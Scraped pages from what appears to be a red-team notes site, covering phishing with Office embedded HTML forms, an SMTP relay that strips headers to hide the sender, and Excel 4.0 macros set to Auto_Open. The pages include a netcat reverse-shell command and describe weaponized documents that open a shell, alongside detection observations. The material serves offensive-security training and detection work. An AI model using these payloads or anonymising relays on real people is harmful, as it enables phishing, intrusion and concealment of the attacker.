Payload](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload) Last updated 7 years ago * [Weaponization](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel#weaponization) * [Execution](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel#execution) * [Bonus](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel#bonus) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel#references) c:\\shell.cmd Copy C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe --- # Phishing: Embedded HTML Forms | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms.md) . In this phishing lab I am just playing around with the POCs researched, coded and described by Yorick Koster in his blog post [Click me if you can, Office social engineering with embedded objects](https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------------- ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLP-hT6LHOb2zpqU6DK%252F-LLP0QqjMQH0JmxAI59j%252Fphishing-forms-shell.gif%3Falt%3Dmedia%26token%3Daf22377b-053a-440f-a981-ea98cd52c8b0&width=768&dpr=3&quality=100&sign=2fcc7d6f&sv=2) 1KB [Forms.HTML.ps1](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LLP-hT6LHOb2zpqU6DK%2F-LLP0dJuTS_RdHPctpvr%2FForms.HTML.ps1?alt=media&token=3ccbd750-14e6-467f-ad0e-8dafe53964a0) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LLP-hT6LHOb2zpqU6DK%2F-LLP0dJuTS_RdHPctpvr%2FForms.HTML.ps1?alt=media&token=3ccbd750-14e6-467f-ad0e-8dafe53964a0) Forms.ps1 11KB [Forms.HTML.docx](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LLP-hT6LHOb2zpqU6DK%2F-LLP0Y2tVNXrOS-qoqjp%2FForms.HTML.docx?alt=media&token=79661210-c1c3-4113-994f-be2489726cbb) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LLP-hT6LHOb2zpqU6DK%2F-LLP0Y2tVNXrOS-qoqjp%2FForms.HTML.docx?alt=media&token=79661210-c1c3-4113-994f-be2489726cbb) Forms.docx [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms#observations) Observations ----------------------------------------------------------------------------------------------------------------------------------------------- These types of phishing documents can be identified by looking for the CLSID 5512D112-5CC6-11CF-8D67-00AA00BDCE1D in the embedded `.bin` files: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLP106hwnfRyN8wya1R%252F-LLP11w7b5dwx2QN9I6C%252Fphishing-forms-clsid.png%3Falt%3Dmedia%26token%3Df139d541-8ebe-4037-9e08-d7aa78ec31aa&width=768&dpr=3&quality=100&sign=1f57f83d&sv=2) ...as well as inside the activeX1.xml file: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLP-hT6LHOb2zpqU6DK%252F-LLP0Pamd6EwRl-1AWn4%252Fphishing-forms-xml.png%3Falt%3Dmedia%26token%3D2559732a-d3c7-4aba-ab48-3285b2336b9c&width=768&dpr=3&quality=100&sign=db608ac0&sv=2) As usual, MS Office applications spawning cmd.exe or powershell.exe should be investigated: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLP1ShUd5SORlNtqYm0%252F-LLP1VLs6A-1Aq2xHze7%252Fphishing-forms-ancestry.png%3Falt%3Dmedia%26token%3D674b535a-a606-48d2-b6bc-3d022750552f&width=768&dpr=3&quality=100&sign=6f3b49f1&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms#references) References ------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.datocms-assets.com%2F21957%2F1580831017-securify-icon-01.png%3Fw%3D192%26h%3D192&width=20&dpr=3&quality=100&sign=3a2b9419&sv=2)Click me if you can, Office social engineering with embedded objectsSecurify website](https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html) [PreviousBypassing Parent Child / Ancestry Detections](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships) [NextPhishing with GoPhish and DigitalOcean](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms#execution) * [Observations](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms#observations) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms#references) --- # SMTP Forwarders / Relays | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/red-team-infrastructure/smtp.md) . [](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#setting-up-relay-mail-server) Setting up Relay Mail Server ---------------------------------------------------------------------------------------------------------------------------------------- I am going to set up a mail server that will be later used as an SMTP relay server. First off, a new Ubuntu droplet was created in Digital Ocean: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtFmkK7kGlg24jlYCr%252F-LNtHTCAG4xhsu7hw2Wj%252Fsmtp-relay-droplet.png%3Falt%3Dmedia%26token%3Df3a95c99-2e7b-450d-bf70-6d8e46501a2b&width=768&dpr=3&quality=100&sign=28d4cf72&sv=2) Postfix MTA was installed on the droplet with: During postfix installation, I set `nodspot.com` as the mail name. After the installation, this can be checked/changed here: [](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#dns-records) DNS Records ------------------------------------------------------------------------------------------------------ DNS records for nodspot.com has to be updated like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtFmkK7kGlg24jlYCr%252F-LNtI_uPOKy6eA38e4aQ%252Fsmtp-relay-maila.png%3Falt%3Dmedia%26token%3D0aa67bdf-d51c-4064-8e4a-2f0eded7e8fc&width=768&dpr=3&quality=100&sign=4f88436a&sv=2) A record pointing to the droplet IP ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtFmkK7kGlg24jlYCr%252F-LNtIbNgTop92P_qtwzu%252Fsmtp-relay-mx.png%3Falt%3Dmedia%26token%3D47f14e6e-b6b0-40dd-a28d-c433dc97cde1&width=768&dpr=3&quality=100&sign=8df3aa90&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#testing-mail-server) Testing Mail Server ---------------------------------------------------------------------------------------------------------------------- Once postfix is installed and the DNS records are configured, we can test if the mail server is running by: If successful, you should see something like this: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtFmkK7kGlg24jlYCr%252F-LNtIllAof1N9ygI2fNw%252Fsmtp-relay-test-mail.png%3Falt%3Dmedia%26token%3Deb092f7e-1847-4dcb-ace9-fbbd87f527fb&width=768&dpr=3&quality=100&sign=ba7d3a7a&sv=2) We can further test if the mail server works by trying to send an actual email like so: Soon enough, the email comes to my gmail: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtFmkK7kGlg24jlYCr%252F-LNtKAqanHc0fG500ctl%252Fsmtp-relay-first-email.png%3Falt%3Dmedia%26token%3Dd65ffd2e-ac23-46dd-977f-e7aebf1383cf&width=768&dpr=3&quality=100&sign=73781374&sv=2) ...with the following headers - all as expected. Note that at this point the originating IP seen in headers is my droplet IP 206.189.221.162: [](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#setting-up-originating-mail-server) Setting up Originating Mail Server ---------------------------------------------------------------------------------------------------------------------------------------------------- We need to set up the originating mail server that will use the server we set up earlier as a relay server. To achieve this, on my attacking machine, I installed postfix mail server. The next thing to do is to amend the `/etc/postfix/main.cf` and set the `relayhost=nodspot.com`which will make the outgoing emails from the attacking system travel to the nodspot.com mail server (the server we set up above) first: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtM-cwIQzzEs7cvgwK%252F-LNtN4KCP8jYyMRD8Sn_%252Fsmtp-relay-setting-relay.png%3Falt%3Dmedia%26token%3D9bd1c151-8d53-418d-b774-ea446d15da08&width=768&dpr=3&quality=100&sign=cbe35310&sv=2) Once the change is made and the postfix server is rebooted, we can try sending a test email from the attacking server: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtM-cwIQzzEs7cvgwK%252F-LNtQ3AHcTeAcMZdMpME%252Fsmtp-relay-send-phish-like-a-sir.png%3Falt%3Dmedia%26token%3D39dc3f80-3929-4461-90a9-20124ca7c0ec&width=768&dpr=3&quality=100&sign=20d9d212&sv=2) If you do not receive the email, make sure that the relay server is not denying access for the attacking machine. If you see your emails getting deferred (on your attacking machine) with the below message, it is exactly what is happening: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtM-cwIQzzEs7cvgwK%252F-LNtQWen195U7jJTcDLe%252Fsmtp-relay-relay-access-denied.png%3Falt%3Dmedia%26token%3D6e27e4a1-9131-4a99-bc65-1f188f563595&width=768&dpr=3&quality=100&sign=7f0df30&sv=2) Once the relay issue is solved, we can repeat the test and see a successful relay: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtM-cwIQzzEs7cvgwK%252F-LNtQgkuQ-9Mqrb87RPN%252Fsmtp-relay-gmail-phish.png%3Falt%3Dmedia%26token%3D6c2f4e98-259f-4c3f-84d8-6a2948cc79ef&width=768&dpr=3&quality=100&sign=154221be&sv=2) This time the headers look like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtM-cwIQzzEs7cvgwK%252F-LNtSbn-dgznq-DscN9w%252Fsmtp-relay-headers-relayed.png%3Falt%3Dmedia%26token%3D6f86df6f-b37b-4150-88e9-51dd6d1cfb4c&width=768&dpr=3&quality=100&sign=f385dec2&sv=2) Note how this time we are observing the originating host's details such as a host name and an IP address - this is unwanted and we want to redact that information out. 3KB [original\_msg.txt](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LNtM-cwIQzzEs7cvgwK%2F-LNtSBC3jke3Ha2yJZI-%2Foriginal_msg.txt?alt=media&token=233ed4c4-76e6-48a7-9289-368349ec9b66) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LNtM-cwIQzzEs7cvgwK%2F-LNtSBC3jke3Ha2yJZI-%2Foriginal_msg.txt?alt=media&token=233ed4c4-76e6-48a7-9289-368349ec9b66) Email Headers [](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#removing-sensitive-headers-in-postfix) Removing Sensitive Headers in Postfix ---------------------------------------------------------------------------------------------------------------------------------------------------------- We need to make some configuration changes in the relay server in order to redact the headers for outgoing emails. First off, let's create a file on the server that contains regular expressions that will hunt for the headers that we want removed: Next we need to amend the `/etc/postfix/master.cf` to include the following line: `-o header_checks=regexp:/etc/postfix/header_checks`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtTTiNhwqDa0cMmWfB%252F-LNtUXkB3G5ZOBDWnKKP%252Fsmtp-relay-header-checks.png%3Falt%3Dmedia%26token%3D63666539-28b0-4c91-95b8-1260ca4ca486&width=768&dpr=3&quality=100&sign=759bcfba&sv=2) This will tell the postfix server to remove headers from outgoing emails that match regular expressions found in the file we created above. Save the changes and reload the postfix server: Now send a test email from the attacking machine again and inspect the headers of that email: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtTTiNhwqDa0cMmWfB%252F-LNtYqKZYlfPo1pSx7ge%252Fsmtp-relay-removed-traces.png%3Falt%3Dmedia%26token%3D0f1a8fe2-54b8-4c68-820e-c02c2cb4ed1d&width=768&dpr=3&quality=100&sign=bc3894a8&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNtTTiNhwqDa0cMmWfB%252F-LNtZ6iyLQ7kU-WF2XKF%252Fsmtp-relay-removed-traces2.png%3Falt%3Dmedia%26token%3D37545914-40e8-44b9-bb04-6a27cfa213b3&width=768&dpr=3&quality=100&sign=33702461&sv=2) Note how the `Received` headers exposing the originating (the attacking) machine were removed, which is exactly what we wanted to achieve: 2KB [headers-removed.txt](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LNtTTiNhwqDa0cMmWfB%2F-LNtY7u8Q1wtASOU_l5c%2Fheaders-removed.txt?alt=media&token=f79fc197-32bf-4673-af6d-191bb56ed880) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LNtTTiNhwqDa0cMmWfB%2F-LNtY7u8Q1wtASOU_l5c%2Fheaders-removed.txt?alt=media&token=f79fc197-32bf-4673-af6d-191bb56ed880) Headers Removed This lab is not going to deal with the emails being marked as phishing by gmail. This, however, is related to setting up DKIM, PTR records and the likes, see below for more references. [](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#references) References ---------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.digitalocean.com%2F_next%2Fstatic%2Fmedia%2Fandroid-chrome-512x512.5f2e6221.png&width=20&dpr=3&quality=100&sign=fbde5607&sv=2)How To Install and Configure DKIM with Postfix on Debian Wheezy | DigitalOceanDigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fserverfault.com%2FContent%2FSites%2Fserverfault%2FImg%2Fapple-touch-icon.png%3Fv%3D6c3100d858bb&width=20&dpr=3&quality=100&sign=e8a83e33&sv=2)How do I remove Received-headers from emails?Server Fault](https://serverfault.com/questions/91954/how-do-i-remove-these-junk-mail-headers) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fmajor.io%2Ffavicon-32x32.png&width=20&dpr=3&quality=100&sign=c9e9e33e&sv=2)Remove sensitive information from email headers with postfixMajor Hayden](https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/) [PreviousHTTP Forwarders / Relays](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders) [NextPhishing with Modlishka Reverse HTTP Proxy](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing) Last updated 7 years ago * [Setting up Relay Mail Server](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#setting-up-relay-mail-server) * [DNS Records](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#dns-records) * [Testing Mail Server](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#testing-mail-server) * [Setting up Originating Mail Server](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#setting-up-originating-mail-server) * [Removing Sensitive Headers in Postfix](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#removing-sensitive-headers-in-postfix) * [References](https://www.ired.team/offensive-security/red-team-infrastructure/smtp#references) Copy apt-get install postfix Copy root@ubuntu-s-1vcpu-1gb-sfo2-01:~# cat /etc/mailname nodspot.com Copy telnet mail.nodspot.com 25 Copy root@ubuntu-s-1vcpu-1gb-sfo2-01:~# sendmail mantvydo@gmail.com yolo , . Copy Delivered-To: mantvydo@gmail.com Received: by 2002:a81:1157:0:0:0:0:0 with SMTP id 84-v6csp5026946ywr; Tue, 2 Oct 2018 12:22:38 -0700 (PDT) X-Google-Smtp-Source: ACcGV62oH69fwYnfV1zg+o+jbTpjQIzIzASmjoIsXbbfvdevE0LlkY32jflNS/acOtNBXiwzxYxP X-Received: by 2002:a62:6547:: with SMTP id z68-v6mr17716388pfb.20.1538508158395; Tue, 02 Oct 2018 12:22:38 -0700 (PDT) ARC-Seal: i=1; a=rsa-sha256; t=1538508158; cv=none; d=google.com; s=arc-20160816; b=FpEgLAICLn66cI+DDvpIsStUrReQ8fArcreT7FyS8SYcFQXFiK44HDcxwVHXCA8Xxb fUl+3HcerQEznHZMttZ4pZIMbN18pJS08wzuZdOlhGKAA2JSTkxGd+1PhJwDe1SFTYZc NoARSHL9opemJKg5YqZNjSTDSTfk/QqaCbq7mQL9LAwCKzanGSNR/R/28WymYrdRACOR GSmDCVvPaUaoemIP8+GwXkfU5Gkk49+F7t9Jbg23HKKq/YOhwF3ryeOEVfn74bhtZIkM QcUzWn5WSL0lIm0nbd2t7677/wcabOg0TCoZj1IHg+I7yLXE7+QZOYX1TguKu16oZeqt mTIA== ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816; h=from:date:message-id; bh=VSFU9fKoMQMmtQzPFdmefDuA+phTpwZXd9k5xGRzwRs=; b=VZ2vHjhPUSs17PXAUDyjYzm0w5sdQYqFx7h9iirh/BF1krrl3MQg4QAgfeo0py9qZH Xf8/9HmNe1pIgxnZiiZJeVijXeSHCIB4XkG4HYFJY2m/gQ9oZ4JSMfX/Kiw/CXEmbt71 YP5S7yQKQNkHw24XnP3WUeDDQ7XvENEfPIS+LlCVtQOPT8fM9TAWQReKz06idynolfhR 7P73wH8igwPea7586wdhSOtDYCURSMKTNVb8yP2eEPNBlP2u2jUrFImG2D2/lke4O6Iu 7zu96tCYEY9FVG11dPFheKlMjvMoL4rqPSAQ3zty4Cbi4Vy2Is6f/VF8AYZ34i0FJooj eEkw== ARC-Authentication-Results: i=1; mx.google.com; spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com Return-Path: Received: from ubuntu-s-1vcpu-1gb-sfo2-01 ([206.189.221.162]) by mx.google.com with ESMTP id 38-v6si3160283pgr.237.2018.10.02.12.22.38 for ; Tue, 02 Oct 2018 12:22:38 -0700 (PDT) Received-SPF: pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) client-ip=206.189.221.162; Authentication-Results: mx.google.com; spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com Received: by ubuntu-s-1vcpu-1gb-sfo2-01 (Postfix, from userid 0) id DC6DD3F156; Tue, 2 Oct 2018 19:22:37 +0000 (UTC) Message-Id: <20181002192237.DC6DD3F156@ubuntu-s-1vcpu-1gb-sfo2-01> Date: Tue, 2 Oct 2018 19:22:31 +0000 (UTC) From: root yolo , /etc/postfix/header\_checks Copy /^Received:.*/ IGNORE /^X-Originating-IP:/ IGNORE /^X-Mailer:/ IGNORE /^Mime-Version:/ IGNORE Copy postmap /etc/postfix/header_checks postfix reload Copy Delivered-To: mantvydo@gmail.com Received: by 2002:a81:1157:0:0:0:0:0 with SMTP id 84-v6csp5668508ywr; Wed, 3 Oct 2018 03:47:35 -0700 (PDT) X-Google-Smtp-Source: ACcGV614wuffoVOsvFkTPPxCiRj0hgFwTIH7y3B4ziIaXfogLFjsoiFyYOdNVChhr+oRcL1axO+a X-Received: by 2002:a17:902:a9cc:: with SMTP id b12-v6mr988630plr.198.1538563655360; Wed, 03 Oct 2018 03:47:35 -0700 (PDT) ARC-Seal: i=1; a=rsa-sha256; t=1538563655; cv=none; d=google.com; s=arc-20160816; b=qhbzI+R3vHbkqwp2ALOEQ0ItUXU/fA1kEmYln1dBe0CmLELuIfourst4gZVYiU0tAf sRx20Z5Vcqvv9w6s6f2gVp6crlOuoX2cSKJCn/HyRYKiDB5aVKpEYTDjQtGEBRLoL9xm /T8+3PgV6CHy/KowoPeLugKg3t5mIh9pq+Ig8gG+VVKZcFyvUBJa9YEgBgVKcMwew8H6 x8WzIB2zyavpZLnbIi6SrtheYZAeSTMTwXRutqxZl0n4O/iZS4Y+ZVdRlYeXFXFNdtMK JFaS1XVLR4hYXOzlQT1IC2yeQlqf+Q3FJukmkDlDTgw91ImfZa0HtQYQoo3LwKotp92Q 1HiQ== ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816; h=from:date:message-id; bh=hZH42YPrA1C1YyKkQ/LM0S6pyh9p5LGmoqE/s4CGGts=; b=Squ71HtAuuwYHfX+4z63WcgBMoiKbcX5KAQLKwfvlnXuF5QEJNHjfX0GwekViXJIZ5 D2v03648ni6W3/b6uXVoecrtX0MZ9Z/Ck+LxcJRi16toE4QfjR6fhX5l9OSKFjgqkst3 Exk9yB1iiX8IAoIvnSaT0pQ5UzOov5Yneti3HO8QbzeCnT1/HieLwIhB/d+znryw1mTQ jj/VBlNEGFEJhpXjS7cbQFHQEz3yGl1YTSNB3Kxp9T5a7+ncsW3pOAlfKqNYpVywSlBe s6OUSTZ/bEwVYP3dv9aHmbpOIV6rC8uPgUlm+SKYtlj9xiR9uXTtj21IbA0F1esFx+Up jAQw== ARC-Authentication-Results: i=1; mx.google.com; spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com Return-Path: Received: from ubuntu-s-1vcpu-1gb-sfo2-01 ([206.189.221.162]) by mx.google.com with ESMTP id y11-v6si1190446plg.237.2018.10.03.03.47.35 for ; Wed, 03 Oct 2018 03:47:35 -0700 (PDT) Received-SPF: pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) client-ip=206.189.221.162; Authentication-Results: mx.google.com; spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com Message-Id: <20181003104734.1871F42006E@kali> Date: Wed, 3 Oct 2018 11:47:28 +0100 (BST) From: root removing traces like a sir --- # Phishing: XLM / Macro 4.0 | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0.md) . This lab is based on the research performed by [Stan Hegt from Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/) . [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0#weaponization) Weaponization ------------------------------------------------------------------------------------------------------------------------------------------- A Microsoft Excel Spreadsheet can be weaponized by firstly inserting a new sheet of type "MS Execel 4.0 Macro": ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LOIzgbM029-Vd0__7Pp%252F-LOJ-K1pu5iRBnkRj5xK%252Fphishing-xlm-create-new.png%3Falt%3Dmedia%26token%3D2fe9eb92-bd45-450e-9c66-7f172c7b31f3&width=768&dpr=3&quality=100&sign=b29615df&sv=2) We can then execute command by typing into the cells: As usual, the contents of shell.cmd is a simple netcat reverse shell: Note how we need to rename the `A1` cell to `Auto_Open` if we want the Macros to fire off once the document is opened: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LOIzgbM029-Vd0__7Pp%252F-LOJ-K1ng9KAU7OBn7T4%252Fphishing-xlm-auto-open.png%3Falt%3Dmedia%26token%3D6cba687b-2840-4163-8a8b-d761e2c43e86&width=768&dpr=3&quality=100&sign=82add95&sv=2) 5MB [Excel 4.0 Macro Functions Reference (1).pdf](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOJJ0k2p_BP4TwEtb_H%2F-LOJJHFjzUdKiLIUhmmm%2FExcel%204.0%20Macro%20Functions%20Reference%20(1).pdf?alt=media&token=7ee15773-df4a-4f71-a2c4-6828b1cc37a6) PDF Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOJJ0k2p_BP4TwEtb_H%2F-LOJJHFjzUdKiLIUhmmm%2FExcel%204.0%20Macro%20Functions%20Reference%20(1).pdf?alt=media&token=7ee15773-df4a-4f71-a2c4-6828b1cc37a6) Excel 4.0 Macro Functions Reference.pdf 8KB [phishing-xlm.xlsm](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOJHPneAEg8UntvBi2F%2F-LOJHfA7cXgeFnhG6ppl%2Fphishing-xlm.xlsm?alt=media&token=22c7b2f7-d514-403a-aec1-b614207d1eee) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOJHPneAEg8UntvBi2F%2F-LOJHfA7cXgeFnhG6ppl%2Fphishing-xlm.xlsm?alt=media&token=22c7b2f7-d514-403a-aec1-b614207d1eee) XLM Phishing.xlsm [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------- Opening the document and enabling Macros pops a reverse shell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LOIzgbM029-Vd0__7Pp%252F-LOJ-K1iLYnynKtP6piT%252Fphishing-xlm-shell-auto-open.gif%3Falt%3Dmedia%26token%3Dee7e3e76-eec2-46d5-8d84-533a7babb549&width=768&dpr=3&quality=100&sign=94b678d3&sv=2) Note that XLM Macros allows using Win32 APIs, hence shellcode injection is also possible. See the original research link below for more info. [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0#observations) Observations ----------------------------------------------------------------------------------------------------------------------------------------- As usual, look for any suspicious children originating from under the Excel.exe: 